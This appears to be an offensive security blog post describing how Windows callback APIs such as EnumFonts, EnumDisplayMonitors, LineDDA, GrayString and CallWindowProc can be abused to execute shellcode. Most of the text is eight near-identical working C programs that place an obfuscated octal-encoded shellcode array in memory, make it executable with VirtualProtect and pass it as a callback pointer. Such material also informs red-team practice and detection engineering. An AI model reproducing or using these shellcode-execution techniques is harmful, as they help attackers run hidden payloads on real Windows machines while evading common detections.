What is a Callback Function?
In simple terms, it’s a function that is called through a function pointer. When we pass a function pointer to the parameter where the callback function is required, once that function pointer is used to call that function it points to it’s said that a call back is made. This can be abused to pass shellcode instead of a function pointer. This has been around a long time and there are so many Win32 APIs we can use to execute shellcode. This article contains few APIs that I have tested and are working on Windows 10.
Analyzing an API
For example, let’s take the function EnumWindows
from user32.dll
. The first parameter lpEnumFunc
is a pointer to a callback function of type WNDENUMPROC
.
1 2 3 4 |
BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam ); |
The function passes the parameters to an internal function called EnumWindowsWorker
.
The first parameter which is the callback function pointer is called inside this function making it possible to pass position independent shellcode.
By checking the references, we can see that other APIs use EnumWindowsWorker
function making them suitable candidates for executing shellcode.
EnumFonts
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
#include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode, 0); } |
EnumFontFamilies
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
#include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFontFamilies(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode,0); } |
EnumFontFamiliesEx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
#include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char *)shellcode, 0, 0); } |
EnumDisplayMonitors
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
#include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumDisplayMonitors((HDC)0,(LPCRECT)0,(MONITORENUMPROC)(char *)shellcode,(LPARAM)0); } |
LineDDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
#include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); LineDDA(10, 11, 12, 14, (LINEDDAPROC)(char *)shellcode, 0); } |
GrayString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
#include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); GrayString(0, 0, (GRAYSTRINGPROC)(char *)shellcode, 1, 2, 3, 4, 5, 6); } |
CallWindowProc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
#include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); CallWindowProc((WNDPROC)(char *)shellcode, (HWND)0, 0, 0, 0); } |
EnumResourceTypes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
#include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumResourceTypes(0, (ENUMRESTYPEPROC)(char *)shellcode, 0); } |
You can check this repo by my friends @bofheaded & @0xhex21 for other callback APIs.
How shellcode is converted into numbers in array elements
I’ll leave that to you as an exercise 🙂